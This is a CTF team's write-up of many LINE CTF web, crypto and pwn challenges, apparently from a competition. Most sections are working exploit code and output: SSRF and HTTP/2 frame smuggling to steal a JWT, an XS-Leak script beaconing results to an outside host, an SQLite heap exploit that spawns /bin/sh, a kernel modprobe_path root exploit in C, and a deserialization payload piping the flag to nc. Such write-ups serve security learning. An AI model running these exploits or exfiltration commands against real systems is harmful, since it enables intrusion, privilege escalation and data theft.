Table of Contents
Team Name: KimchiSushi (2nd place)
Team Link: https://ctftime.org/team/145055
Participants
The flag pops upon accessing the link given on the challenge description. We forgot to write down the flag.
There are two main things in this challenge.
SSRF part wasn't too difficult to find. We just had to manipulate the Lang
and Host
header. Note that Host
header was modified to overwrite the value of request.host_url
$ curl --http1.0 -v "http://35.190.234.195/apis/coin" -H 'Lang: /addsub' -H 'Host: private:5000'
def LanguageNomarize(request):
if request.headers.get('Lang') is None:
return "en"
else:
regex = '^[!@#$\\/.].*/.*' # Easy~~
language = request.headers.get('Lang')
language = re.sub(r'%00|%0d|%0a|[!@#$^]|\.\./', '', language)
if re.search(regex,language):
return request.headers.get('Lang')
try:
data = requests.get(request.host_url+language, headers=request.headers)
if data.status_code == 200:
return data.text
else:
return request.headers.get('Lang')
except:
return request.headers.get('Lang')
After a quick analysis of code, we found out that
/integrityStatus
.privateKey
and Sign
function is given/rollback
with Sign
header and Key
header to get flag. We just need dbhash
in this case.import requests, hmac, hashlib, json
import time
privateKey = b'let\'sbitcorinparty'
def sign(query):
return hmac.new(privateKey, query, hashlib.sha512).hexdigest()
def req(ep, headers = {}):
headers["lang"] = ep
headers["host"] = "private:5000"
success = False
resp = None
while not success:
try:
resp = requests.get("http://35.190.234.195/apis/coin",
headers = headers)
if resp.headers.get("lang", "") != "":
success = True
except:
pass
return resp.headers["lang"]
def calckey(dbhash):
return hashlib.sha512(dbhash.encode('ascii')).hexdigest()
prev_dbhash = json.loads(req("integrityStatus"))["dbhash"]
print("Retrieved dbhash #1 : %s" % prev_dbhash)
dbhash = prev_dbhash
key = ""
while True:
print("Request until dbhash changes")
while dbhash == prev_dbhash:
dbhash = json.loads(req("integrityStatus"))["dbhash"]
key = calckey(dbhash)
print("Retrieved new dbhash : %s" % dbhash)
query = "dbhash=%s" % (prev_dbhash)
print("Query : %s" % query)
print("Key : %s" % key)
sig = sign(query)
print("Signature: %s" % sig)
resp = req("rollback?%s" % query, {"Sign": sig, "Key": key})
if 'LINECTF' in resp:
print(resp)
break
dbhash = prev_dbhash
Flag: LINECTF{YOUNGCHAYOUNGCHABITCOINADAMYMONEYISBURNING}
With manipulation of socket.io
client, we can join a chatting room between alice and bob without their credential, and even are able to eavesdrop, imitate as them. In the other words, we can act as alice or bob only except sniffing plaintext of chatting.
To eavesdrop their message, following node.js script will work.
const io = require('socket.io')({ path: '/api/socket' })
const client = require('socket.io-client');
Manager = client.Manager;
HOST = "http://34.85.35.9/"
from = "bob"
to = "alice"
onMessage = function(data){
console.log(data);
}
onRead = function(data){
console.log(data);
}
const manager = new Manager(HOST, {
path: '/api/socket'
})
socket = manager.socket('/')
socket.emit('join', {
room: [from, to].sort().join(':')
})
socket.on('message', onMessage)
socket.on('read', onRead)
{
to: 'bob',
message: <Buffer 0c f2 13 bc fe 4d 4b 83 35 35 9b 54 d6 fd e6 c5 6e d6 13 d8 62 77 de 26 f4 e1 64 e9 8c 56 38 16 61 7b f5 44 a2 f4 16 3a 4e 5e 1d 14 10 72 38 0d>,
id: '675833a9-c75d-424a-9b7d-2a1231d5155f',
from: 'alice'
}
Message is encrypted with AES-CBC, the initial 16 bytes of message
is IV of ciphertext. Also, Alice to send Bob flag every 30 seconds, Alice's chatting room is always activated. Thus, when we manipulate message and craft CBC OPA message as Bob, thens send to Alice, reading confirmation can be used as oracle. This implies Oracle Padding Attack can be applied in this challenge, which means we can recover plaintext without their shared secret.
To perform OPA, we selected hand-calculation instead of automation due to the hardness of asynchronous callbacks.
const io = require('socket.io')({ path: '/api/socket' })
const client = require('socket.io-client');
Manager = client.Manager;
HOST = "http://34.85.35.9/"
from = "bob"
to = "alice"
FLAGS = Array(256);
DICT = {};
DICT_CNT = 0;
READ_CNT = 0;
for(let i=0; i<256; i++)
FLAGS[i] = 0;
SEARCHING_BACK_IDX = 8 + 16; //Edit here too
let ct = [ /* Progress Vector */]
onMessage = function(data){
msg = Uint8Array.from(data.message);
DICT[data.id] = msg[msg.length - SEARCHING_BACK_IDX];
DICT_CNT++;
if(DICT_CNT % 10 == 0) {
console.log(`Received ${DICT_CNT}`);
}
}
onRead = function(data){
FLAGS[DICT[data.id]] = 1;
console.log(`New Read added : ${DICT[data.id]}`);
}
const manager = new Manager(HOST, {
path: '/api/socket'
})
socket = manager.socket('/')
socket.emit('join', {
room: [from, to].sort().join(':')
})
socket.on('message', onMessage)
socket.on('read', onRead)
for(let i=0; i<256; i++) {
ct[ct.length - SEARCHING_BACK_IDX] = i;
socket.emit('message', {
from: "bob",
to: "alice",
message: Buffer.from(ct)
});
}
solve.xlsx - Google Spreadsheet
Flag: LINECTF{3av3sdr0pr3p1ay0rac13!}
After static analaysis of jar file, we noticed there is nothing about flag in the code. Thus, we were started to find something strong primitives like RCE or SSTI.
String ip = request.getRemoteAddr();
byte[] data = IOUtils.toByteArray((InputStream)request.getInputStream());
if (this.jankenService.abuseUserCheck(ip)) {
Socket socket = new Socket("localhost", 5111);
JankenAbuseDataLogger jad = new JankenAbuseDataLogger(socket, data);
jad.run();
}
public class JankenAbuseDataLogger extends Thread {
private byte[] data;
private OutputStream os;
public JankenAbuseDataLogger(Socket socket, byte[] bytes) throws Exception {
this.data = bytes;
this.os = socket.getOutputStream();
this.data = bytes;
}
public void run() {
try {
this.os.write(this.data, 0, this.data.length);
this.os.flush();
this.os.close();
} catch (IOException iOException) {}
}
}
In abused user logging system, it establishes connection to localhost:5111
and pipes raw http body to its socket. In the other words, when we have abuse user's account, we get raw socket communiction like nc
to localhost:5111
in server side. Now we have SSRF to localhost:5111
Also there is an extra binary, logger binary. It was perfectly matched with logger4j
socket example. CVE-2019-17571 is a security bug of logger4j 1.2.x
, which unserializes any input of untrusted user via socket communication. All of us strongly agreed this challenge can be solved with this CVE.
To be abused user, it is easy. Because register handler maps user input as user interface directly, we can manipulate winCount
directly. Following HTTP request will register user as abused user.
PUT http://34.85.120.233/register HTTP/1.1
Host: 34.85.120.233
Connection: keep-alive
Content-Length: 33
Pragma: no-cache
Cache-Control: no-cache
Accept: */*
X-Requested-With: XMLHttpRequest
Content-Type: application/json
Origin: http://34.85.120.233
Referer: http://34.85.120.233/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9
{"name":"aaaaab", "winCount":"11"}
The rest part is, generate gadget chain using ysoserial
and SSRF it!
FLAG : LINECTF{janken_is_really_engaging_and_fun_to_play}
We found out tha this challenge was somewhat related to XS-Leaks as the challenge contains a search feature and a crawler.
Challenge description as follows:
Secure private note service
※ Admin have disabled some security feature of their browser...
Flag Format: LINECTF{[a-z0-9-]+}
Quick reading the source code showed us that (1) files can be exported as attachments (2) some of browser security mechanisms are disabled (3) there is a limitation on the URL, so we need to trigger Open Redirect
if (url && url.startsWith(base_url + '/') && // ~~~~~~~~~~~~~~~
proof && prefix && verify(proof, prefix)) {
const browser = await puppeteer.launch({
args: [
'--no-sandbox',
'--disable-popup-blocking',
],
headless: true,
});
const page = await browser.newPage();
The only thing we now have is to find out how to redirect. After an another round of source code review, we found out that redirect
parameter on /login
can be bypassed easily.
if (url && url.startsWith(base_url + '/') && // @158.101.144.10/xs/st.html
proof && prefix && verify(proof, prefix)) {
const browser = await puppeteer.launch({
args: [
'--no-sandbox',
'--disable-popup-blocking',
],
headless: true,
});
const page = await browser.newPage();
We created a quick script to leak flag from the admin's account.
<script>
// http://34.84.94.138/[email protected]/xs/st.html
// LINECTF{1-kn0w-what-y0u-d0wn10ad}
var flag = "LINECTF{";
var start = "1-kn0w-what-y0u-";
function run(){
let charset = "abcdefghijklmnopqrstuvwxyz-}0123456789";
(async () => {
for (var i = 0; i < charset.length; i++) {
var c = charset[i];
f = open("", "_blank");
setTimeout(() => {
f.location = "http://34.84.94.138/search?q=" + flag + start + c + "&download=true&stypr=n";
// f.location = "http://34.84.72.167/search?q=" + flag + start + c + "&download=true&stypr=n";
});
let res = await new Promise(resolve => {
setTimeout(() => {
let res = false;
try {
f.a;
console.info('found!');
res = true;
} catch (e) {
console.info('not found!');
}
new Image().src = "https://harold.kim/?" + flag + start + c + ":" + res;
if(res){
start += c
}
resolve(res);
}, 200)
});
f.close();
if (res){
run();
break;
}
}
})();
}
run();
</script>
Flag: LINECTF{1-kn0w-what-y0u-d0wn10ad}
After a quick review of the source code, we found out a very weird behavior on the service.
elif data["type"] == "2":
conn = create_connection()
conn.request("GET", "/health")
resp = conn.get_response()
headers = {
cfg["HEADER"]["USERNAME"]: cfg["ADMIN"]["USERNAME"],
cfg["HEADER"]["PASSWORD"]: cfg["ADMIN"]["PASSWORD"]
}
conn.request("GET", "/auth", headers=headers)
resp = conn.get_response()
conn._new_stream()
conn._send_cb(data["data"].encode('latin-1'))
conn._sock.fill()
return conn._sock.buffer.tobytes()
After reading that hyper's source code (hyper/http20/connection.py), we found out that _send_cb
send the arbitrary data over the connected stream socket. From here, we decided to dig deeper.
Leaking the flag is as easy as (1) finding a way to get JWT token response (2) finding a way to retrieve flag from the server with the token retrieved from (1). The problem is to find out how to craft a fully-working HEADER stream.
After learning hpack and hyper's module, we managed to craft send and receive requests to /auth
.
import requests
import hpack
from hyperframe.frame import *
def header(id):
enc = hpack.Encoder()
h = enc.encode({
':path': '/auth',
':method': 'GET',
':authority': 'babyweb_internal',
':scheme': 'https'
})
p = HeadersFrame(id, h)
p.flags.add('END_HEADERS')
p = p.serialize()
return p
def window_update(id):
p = WindowUpdateFrame(id, 0x3fffff01)
return p.serialize()
def data(id):
p = DataFrame(id)
return p.serialize()
sess = requests.Session()
HOST = '35.187.196.233'
HOST = '34.85.38.159'
r = sess.post('http://' + HOST + '/internal/health', json={
'data': b''.join([header(7)]).decode('latin-1'),
'type': '2'
})
content = r.content
print(content)
while content:
frame, length = Frame.parse_frame_header(content[:9])
print(frame, length)
content = content[9 + length:]
But the problem was that we still didn't have control to pass admin headers. We also found out that HTTP2 has Huffman Coding and some of useful information can be re-referenced and re-used in the upcoming stream. Since we didn't have any information about the previous stream's header, we decided to bruteforce a bit to re-use the header.
import requests
import hpack
from hyperframe.frame import *
def header(id, idx):
enc = hpack.Encoder()
h1 = enc._encode_indexed(idx)
h2 = enc._encode_indexed(idx + 1)
ha = enc.encode({
':path': '/auth',
':method': 'GET' })
hb = enc.encode({
':authority': 'babyweb_internal',
':scheme': 'hr'
})
h = ha + hb + h1 + h2
p = HeadersFrame(id, h)
p.flags.add('END_HEADERS')
p = p.serialize()
return p
def window_update(id):
p = WindowUpdateFrame(id, 0x3fffff01)
return p.serialize()
def data(id):
p = DataFrame(id)
return p.serialize()
sess = requests.Session()
HOST = '35.187.196.233'
for i in range(128):
r = sess.post('http://' + HOST + '/internal/health', json={
'data': b''.join([header(7, i)]).decode('latin-1'),
'type': '2'
})
content = r.content
print("")
print(i)
print(content)
while content:
frame, length = Frame.parse_frame_header(content[:9])
print(frame, length)
content = content[9 + length:]
We managed to leak the JWT token, as seen in the following output
...
64
b'\x00\x00\x04\x03\x00\x00\x00\x00\x07\x00\x00\x00\x01'
RstStreamFrame(Stream: 7; Flags: None): 00000000 4
65
b'\x00\x00\x02\x01\x04\x00\x00\x00\x07\x88\xbe\x00\x00\xab\x00\x01\x00\x00\x00\x07{"result":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2MTYyNzQxMjh9.dKRk5DtUGJGv94xnNEm0XqEt2Jb7MONZfRU43JoBsSk"}'
HeadersFrame(Stream: 7; Flags: END_HEADERS): 2
DataFrame(Stream: 7; Flags: END_STREAM): 171
66
b'\x00\x00\x04\x03\x00\x00\x00\x00\x07\x00\x00\x00\x01'
RstStreamFrame(Stream: 7; Flags: None): 00000000 4
...
With the leak JWT token, we can now leak the flag with the following code
import requests
import hpack
from hyperframe.frame import *
def header(id):
enc = hpack.Encoder()
h = enc.encode({
':path': '/flag',
':method': 'GET',
':authority': 'babyweb_internal',
':scheme': 'https',
'x-token': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2MTYyNzQxMjh9.dKRk5DtUGJGv94xnNEm0XqEt2Jb7MONZfRU43JoBsSk'
})
p = HeadersFrame(id, h)
p.flags.add('END_HEADERS')
p = p.serialize()
return p
def window_update(id):
p = WindowUpdateFrame(id, 0x3fffff01)
return p.serialize()
def data(id):
p = DataFrame(id)
return p.serialize()
sess = requests.Session()
HOST = '35.187.196.233'
r = sess.post('http://' + HOST + '/internal/health', json={
'data': b''.join([header(7)]).decode('latin-1'),
'type': '2'
})
content = r.content
print(content)
while content:
frame, length = Frame.parse_frame_header(content[:9])
print(frame, length)
content = content[9 + length:]
Flag: LINECTF{this_ch4ll_1s_really_baby_web}
merge(saveOptions, options)
merge(saveOptions, req.body)
console.log('so 1:', saveOptions);
if(saveOptions.filename === undefined || saveOptions.contents === undefined ||
typeof saveOptions.filename !== 'string' || typeof saveOptions.contents !== 'string')
isChecked = false
if(!saveOptions.ext.includes('.ejs') || saveOptions.ext.length !== 4) isChecked = false;
console.log('ischecked #1 : ', isChecked);
There are strict checks in saveOptions.filename
and saveOptions.contents
, we can't do anything on them. However, saveOptions.ext
is only checked by .includes()
and .length
, which both of them are also implemented in array. Following saveOptions.ext
can pass the constraint check.
saveOptions.ext = ['a', 'b', 'c', '.ejs']
But, we can't insert <
, >
, flag
(case insensitive) in file content, we have to bypass them before SSTI. But, please carefully read packages.json
before you type npm install
in terminal.
{
"dependencies": {
"body-parser": "^1.19.0",
"ejs": "^3.1.6",
"express": "^4.17.1",
"hbs": "^4.1.1",
"morgan": "^1.10.0"
}
}
handlebars
is also installed in server, we can render handlerbars
instead of ejs
without <
, >
. Following saveOptions.ext
and template will render flag
without any problem.
saveOptions.ext = ['a', 'b', '.ejs', '.hbs']
FLAG : LINECTF{I_think_emilia_is_reallllly_t3nshi}
In rootfs.cpio, there is a TEE application and a program communicating with it. We recovered the TA-decrypting key after analyzing bl32_extra1.bin; it was based on an open-source TEE framework, so we could compare the binary with them to recover the names of function inside. By using AES-GCM with a hardcoded key in the binary, we could decrypt the TA. Since it was not in printable characters, we submitted the hex version of key.
FLAG: LINECTF{55daff3286b64f55b08fe16f9ee93ab131293645ed44a9b46a4f435c516101f1}
This is solved in an unintended way. It was just solvable by sending 1, 1, 1, 1, 1, 2, 4
.
❯ nc 34.84.178.140 13000
Loading...
Account: 0x66ab6d9362d4f35596279692f0251db635165871
Account: 0x33a4622b82d4c04a53e170c638b944ce27cffce3
Account: 0x0063046686e46dc6f15918b61ae2b121458534a5
Set player account a balance of 100 ETH
Compiling...
Deploying the contract...
Contract address: 0xe7cb1c67752cbb975a56815af242ce2ce63d3113
--------------------------------------
Welcome to Timeless Sakura Prediction Game
- You can get ETHs if you predict the future.
- Oracle system that go beyond powerful time will judge.
- We have GOD level BFT consensus model, Ethereum based single node blockchain.
(Yeah, We've solved the bloody byzantine general problem)
- We use a smart contract engine based on a powerful EVM, the World computer.
--------------------------------------
Today's question is
What will be the weather tomorrow?
1) Sunny
2) Rainy
--------------------------------------
1) Bet
2) Cancel
3) Get Player's Balance
4) Finalize
> 1
1
answer> 1
1
--------------------------------------
1) Bet
2) Cancel
3) Get Player's Balance
4) Finalize
> 1
1
answer> 1
1
Tx Reverted: [ 'Invalid state' ] { error: 'revert', errorType: 'VmError' }
Tx Reverted: [ 'Invalid state' ] { error: 'revert', errorType: 'VmError' }
--------------------------------------
1) Bet
2) Cancel
3) Get Player's Balance
4) Finalize
> 1
1
answer> 2
2
Tx Reverted: [ 'Invalid state' ] { error: 'revert', errorType: 'VmError' }
Tx Reverted: [ 'Invalid state' ] { error: 'revert', errorType: 'VmError' }
--------------------------------------
1) Bet
2) Cancel
3) Get Player's Balance
4) Finalize
> 4
4
Oracle response: 1
win!
LINECTF{S4kura_hira_hira_come_to_spring}
It's possible to change the encrypted block that contains the command. Get the encrypted block with send
and include it in the payload.
from pwn import *
import base64
r = remote('35.200.115.41', 16001)
r.recvuntil('Command: ')
data = base64.b64decode(r.recvuntil('\n').decode().strip())
iv, data = data[:16], data[16:]
r.recvuntil('IV...: ')
r.sendline(base64.b64encode(data[-32:-16]))
r.recvuntil('Message...: ')
r.sendline(base64.b64encode(b'show'))
r.recvuntil('Ciphertext:')
tdata = base64.b64decode(r.recvuntil('\n').decode().strip())
tiv, tdata = tdata[:16], tdata[16:]
data = data[:-16] + tdata
r.recvuntil('Enter your command: ')
r.sendline(base64.b64encode(iv + data))
r.interactive()
The flag is LINECTF{warming_up_crypto_YEAH}
.
It's possible to change the command by modifying the IV.
from pwn import *
import base64
r = remote('35.200.39.68', 16002)
r.recvuntil('Command: ')
data = base64.b64decode(r.recvuntil('\n').decode().strip())
iv, data = data[:16], data[16:]
iv = bytearray(iv)
iv[9] ^= ord('t') ^ ord('s')
iv[10] ^= ord('e') ^ ord('h')
iv[11] ^= ord('s') ^ ord('o')
iv[12] ^= ord('t') ^ ord('w')
r.recvuntil('Enter your command: ')
r.sendline(base64.b64encode(iv + data))
r.interactive()
The flag is LINECTF{echidna_kawaii_and_crypto_is_difficult}
.
The modulus is quite short (394-bit). It's able to factorize with yafu.
P78 = 109249057662947381148470526527596255527988598887891132224092529799478353198637
P42 = 291664785919250248097148750343149685985101
from Crypto.Util.number import *
N = 0x0328b14139a2e54b88a4662f1a67cc3acd1929c9b62794bb64916aff02991f80456e4d0eed4d591df7708d5af2e9b4fb5689
p = 109249057662947381148470526527596255527988598887891132224092529799478353198637
q = 291664785919250248097148750343149685985101
e = 0x10001
with open('ciphertext.txt', 'rb') as f:
enc = int.from_bytes(f.read(), 'big')
d = inverse(e, (p - 1) * (q - 1))
flag = pow(enc, d, N).to_bytes(100, 'big')
print(flag)
The flag is base64-encoded, and is LINECTF{CLOSING THE DISTANCE.}
.
The remaining lower bits of k
is brute-forcable because it's 16-bit.
from Crypto.Util.number import *
data = []
with open('output.txt', 'r') as f:
for line in f.readlines():
data.append( list(map(lambda x: int(x, 16), line.strip().split(' '))) )
order = 0x100000000000000000001f4c8f927aed3ca752257
for kl in range(2 ** 16):
r, s, kh, h = data[0]
k = kh + kl
d = (s * k - h) * inverse(r, order) % order
flag = True
count = 0
for r, s, kh, h in data:
k = inverse(s, order) * (h + r * d) % order
if k >> 16 == kh >> 16:
count += 1
else:
flag = False
if count > 1:
print(i, kl, count)
if flag:
print(d)
exit(0)
The flag with the encryption key is LINECTF{0c02d451ad3c1ac6b612a759a92b770dd3bca36e}
.
This is a "make notes" style challenge with a twist of libsqlite3 + extension library. An obvious vulnerability is at block(blob)
processing, as the given 8-byte blob is simply interpreted as a node of the singly linked block log list.
Before using the vulnerability, we must first leak library addresses using select hex(fts3_tokenizer('simple'));
. Then using block(blob)
return value we can leak heap address through select hex(block({blob(fastbinsY)}));
Noting that the client's input buffer is received through read
, we have an arbitrarily re-writable section in heap. This can be used to create a fake node that could be inserted to the block log, then re-written so that its data and next ptr are completely attacker controlled. With the former we could achieve arbitrary read, and with the latter achieve arbitrary write at NULL with a "blockable" (fake) node.
The "blockable" constraint is heavy, as the value we wish to overwrite must have a "." or a blocked keyword in the char*
located at value+8
. To satisfy this constraint, we can allocate persistent malloc chunks through check_query where the allocated chunk is not freed. Due to the use of tolower()
, the data that we must write must not contain uppercase letters (which includes chr(0x55)
).
We can prepare a fake FILE structure satisfying some constraints, overwrite _IO_2_1_stdin_.chain
, then exit to trigger fcloseall()
and call an arbitrary function.
# -*- coding: future_fstrings -*-
from pwn import *
IP, PORT = '35.200.92.72', 10007
DEBUG = False
context.arch = 'x86_64'
#context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.aslr = True
sq3 = ELF('./remote/libsqlite3.so.0.8.6')
libc = ELF('./remote/libc-2.23.so')
def spawn():
global p
try:
p.close()
except:
pass
if DEBUG:
p = gdb.debug(['./remote/ld-2.23.so', './client'],
env={'LD_LIBRARY_PATH': './remote'},
gdbscript="handle SIGALRM ignore\n")
else:
p = remote(IP, PORT)
def menu(sel):
p.sendlineafter('> ', str(sel))
def query(qs):
menu(2)
p.sendlineafter('query> ', qs)
p.recvuntil('now execute it:')
p.recvlines(2)
res = []
while p.recvline(False) == '[ Query result ]':
res.append(p.recvline(False))
return res
def show(idx):
menu(3)
p.sendlineafter('query index> ', str(idx))
if 'SQL Error' in p.recvline():
return None
else:
return p.recvuntil('\n\n').split('\n')
def remove():
menu(4)
return 'SQL Error' not in p.recvline()
def rev(val):
return u64(p64(val, endian='le'), endian='be')
def hexdec(hexstr):
return rev(int(hexstr, 16))
def blob(val):
return "x'{:016x}'".format(rev(val & ((1 << 64) - 1)))
while True:
try:
spawn()
leak = hexdec(query(f"select hex(FTS3_TOKENIZER('simple'));")[0])
sq3.address = leak - 0x2d0ce0
assert sq3.address & 0xfff == 0
log.success('sqlite3: {:016X}'.format(sq3.address))
libc.address = sq3.address - 0x3ca000
log.success('libc: {:016X}'.format(libc.address))
val = 0x0137dead0000
query(f"PRAGMA soft_heap_limit={val};")
main_arena = libc.sym['__malloc_hook'] + 0x10
fastbinsY = main_arena + 0x8
log.info ('fastbinsY: {:016X}'.format(fastbinsY))
leak = hexdec(query(f"select hex(block({blob(fastbinsY)}));")[0])
heap_base = leak - 0x4130
assert heap_base & 0xfff == 0
log.success('heap: {:016X}'.format(heap_base))
buf = heap_base + 0x3370
log.info ('buf: {:016X}'.format(buf))
fp = buf + 0x1448
fptr_stage = fp + 0x40
log.info ('fp: {:016X}'.format(fp))
log.info ('fptr_stg:{:016X}'.format(fptr_stage))
# Need to brute-force several times
query('Z'*0x3e+'\0\0')
query('Z'*0x3e+'\0\0')
query('A'*0x20+p32(0xffffffff)+'AAAA'+'A'*0x10+p64(sq3.address+0x2D4528-0x18))
query('A'*0x30+'/bin/sh;'+p64(next(sq3.search("create\0"))))
query('Z'*0x3e+'\0\0')
query('A'*8+'B'*8+'A'*0x2e+'\0\0')
val = libc.sym['system']
query(f"PRAGMA soft_heap_limit={val};")
query(f"select block({blob(buf + 0x48)});".ljust(0x38, '\x00') + p64(0) +
p64(0) + p64(0) + p64(next(sq3.search("create\0"))) + p64(0))
query(f"".ljust(0x38, '\x00') + p64(0) + p64(0) + p64(0) +
p64(next(sq3.search("create\0")))+p64(libc.sym['_IO_2_1_stdin_']+0x58))
query(f"select block({blob(fp)});")
p.sendlineafter('> ', '5')
p.sendline('cat /flag')
print(p.recvline())
break
except EOFError:
log.warning('Fail, retry')
continue
except KeyboardInterrupt:
break
Flag: LINECTF{sq1ite_1s_fun_4nd_fun}
There are multiple bugs in this challenge, such as heap overflow by incrementing memo_size by 16, and unintialized stack disclosure in the lottery winner menu.
We could omit null character when the program is asking Name and Address after guessing the 7 numbers using the timestamp seed, and leak the PIE and libc base.
Also, there was a adjacent function pointer around the memo buffer, so we could overwrite it to point an one gadget in libc.so, and call them to get a shell from the server.
from ctypes import *
from pwn import *
libc = CDLL('/lib/x86_64-linux-gnu/libc-2.31.so')
# r = process('./Lazenca.Bank')
HOST, PORT = '0.0.0.0', 31338
HOST, PORT = '35.200.24.227', 10002
r = remote(HOST, PORT)
def add_account(v):
v = str(v)
r.sendline('6')
r.sendline(v)
r.sendline(v)
def login(v):
v = str(v)
r.sendline('7')
r.sendline(v)
r.sendline(v)
def logout():
r.sendline(b'8')
def logout_vip():
r.sendlineafter(b'Input : ', b'9')
def loan():
r.sendline(b'4')
def lottery():
r.sendline(b'5')
libc.srand(libc.time(0) + (HOST != '0.0.0.0'))
arr = []
while len(arr) < 7:
t = libc.rand() % 37 + 1
if t in arr:
continue
arr.append(t)
for i in range(7):
r.sendline(str(arr[i]))
r.sendafter(b'Name : ', '_' * 8)
r.sendafter(b'Address : ', '_')
data = r.recvuntil('Menu')
global libc_base, binary_base
libc_base = u64(data[0x10:0x16]+b'\x00\x00')-0x94013
binary_base = u64(data[0x21:0x27]+b'\x00\x00')-0x605f
print(hex(libc_base))
print(hex(binary_base))
print(hexdump(data))
for i in range(10):
add_account(i)
for i in range(10):
r.recvuntil(b'Password : ')
for i in range(7, 10):
print(i)
login(i)
for _ in range(7):
loan()
logout()
for i in range(3, -1, -1):
login(i)
loan()
lottery()
lottery()
# Get minus account
r.sendlineafter(b'Input : ', b'1')
r.recvuntil(b'2\n')
r.recvuntil(b'Account number : ')
account_num = r.recvuntil(b'\n')[:-1]
# Transfer
r.sendlineafter(b'Input : ', b'3')
r.sendlineafter(b'transfer.', account_num)
r.sendlineafter(b'transfer.', b'1000')
r.sendlineafter(b'Input : ', b'1')
logout_vip()
login(0)
r.sendlineafter(b'Input : ', b'7')
r.sendlineafter(b'Input : ', b'2')
r.sendafter(b'Input : ', b'2')
r.sendline(b'a' * 56 + p64(libc_base + 0xe6c81))
r.sendlineafter(b'Input : ', b'0')
r.sendlineafter(b'Input : ', b'8')
r.sendlineafter(b'transfer.', account_num)
r.sendlineafter(b'transfer.', b'0')
r.interactive()
Flag: LINECTF{llllllllazenca_save_u5}
This is a Linux Kernel challenge, and a kernel module library is given. Its ioctl handler has three function: register, remove, and show. The last one used a custom wrapper around copy_user_generic_unrolled, which only disables memory exceptions without any checks.
So we had an arbitrary memory write primitive with the following layout: 0 (4 bytes), 4 byte padding, pid (4 bytes) and 0~8 (4 bytes). This was enough to overwrite modprobe_path into writable path, such as /tmp/x
.
By doing fork() on the process until pid & 0xff == [character]
and incrementing the target address, we could execute our script with root privilege.
// diet gcc exp.c -o exp
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
char buf[32] = "h!yheyhey";
void _(int x)
{
printf("%d %d\n", x, errno);
perror("");
}
int fd;
size_t find(size_t start, size_t interval)
{
size_t addr = start;
// 0xffffffff82203e90
while (addr <= 0xffffffffc0400000)
{
size_t args[2] = {buf, addr};
if (ioctl(fd, 16, args) == 0)
{
printf("found: %p\n", addr);
return addr;
}
addr += interval;
}
}
int main()
{
fd = open("/dev/pprofile", O_RDONLY);
_(fd);
{
size_t args[2] = {buf, 0};
_(ioctl(fd, 32, args));
}
size_t data = find(0xffffffff80000000 + 0x80, 0x200000) - 0x80;
size_t addr = find(0xffffffffc0000000, 0x1000);
printf("%p\n", addr + 0x3c0);
if (fork())
{
sleep(10000);
exit(0);
}
char payload[] = "-tmp/";
size_t args[2] = {buf, data + 0x56F40 - 9};
for (int j = 0; j < sizeof(payload) - 1; j++)
{
while (1)
{
if (fork())
exit(0);
int pid = getpid();
if ((pid & 0xff) == payload[j])
{
printf("pid: %x\n", pid);
ioctl(fd, 32, args);
ioctl(fd, 16, args);
ioctl(fd, 64, args);
break;
}
}
args[1]++;
}
system("hexdump /proc/sys/kernel/modprobe");
char shell[] = "#!/bin/sh\ncat /root/flag > /tmp/pwned";
char buf3[0x100] = "/";
fd = open("/proc/sys/kernel/modprobe", O_RDONLY);
read(fd, buf3 + 1, 0xff);
close(fd);
puts(buf3);
char *delim = strchr(buf3, '\n');
if (delim)
*delim = 0;
fd = open(buf3, O_WRONLY | O_CREAT, 0777);
write(fd, shell, strlen(shell));
close(fd);
fd = open("/tmp/ey", O_WRONLY | O_CREAT, 0777);
write(fd, "\xff\xff\xff\xff\n", 5);
close(fd);
execve("/tmp/ey", NULL, NULL);
system("/tmp/ey; cat /tmp/pwned");
}
Flag: LINECTF{Arbitrary_NULL_write_15_5tr0ng_pr1m1t1v3_both_u53r_k3rn3l_m0d3}
Given client source code heavily uses duck typing to convert between dict and object. Since __class__
and __module__
can be given, we can instantiate an arbitrary class as an object and update its fields as necessary. __call__
magic method is a prominent attack target since instead of having a method, we can place a callable object with the same name.
Searching for eval
and exec
inside __call__
, we find _class_resolver
inside sqlalchemy.orm.clsregistry
. This is unavailable due to the use of __slots__
, but remote server insists that sqlalchemy.orm.clsregistry
does not exist - server must have an older sqlalchemy version where the class resides at sqlalchemy.ext.declarative.clsregistry
. In the older versions __slots__
was nonexistent, so this is a possible attack vector.
Now the remaining part is to find calls that would serve as the entrypoint. Noting that req = RecipeCreateRequest(f"{material1},{material2}")
, it seems plausible that the server would run res.material.split(',')
. Send a RecipeCreateRequest
object but with material
replaced to a different object containing a callable object at split
field. Chain this ultimately to call eval
and get RCE.
{
"__module__": "__main__",
"__class__": "RecipeCreateRequest",
"materials": {
"__module__": "__main__",
"__class__": "RecipeCreateRequest",
"split": {
"__module__": "sqlalchemy.sql.functions",
"__class__": "_FunctionGenerator",
"opts": {
"__module__": "__main__",
"__class__": "RecipeCreateRequest",
"copy": {
"__module__": "sqlalchemy.ext.declarative.clsregistry",
"__class__": "_class_resolver",
"arg": "__import__('os').system('cat flag | nc <REDACTED>')",
"_dict": {}
}
}
}
}
}
Flag: LINECTF{4t3l13r_Pyza_th3_4lch3m1st_0f_PyWN}
This is 1-day exploit for CVE-2020-15065. With modifying project zero's POC, we can easily get array OOB write primitve. After gaining primitve, we can easliy exploit it by making addrof, fakeobj primitve. By using OOB primitve, we can make target's element pointer to ArrayBuffer's backing pointer, and by modifying ArrayBuffer's backing pointer to rwx wasm memory region, write shellcode in wasm memory to get shell. After gaining shell, just call "cat flag>&0" to get shell.
Flag: LINECTF{Ne0N_GENE512_B4byCHr0Me}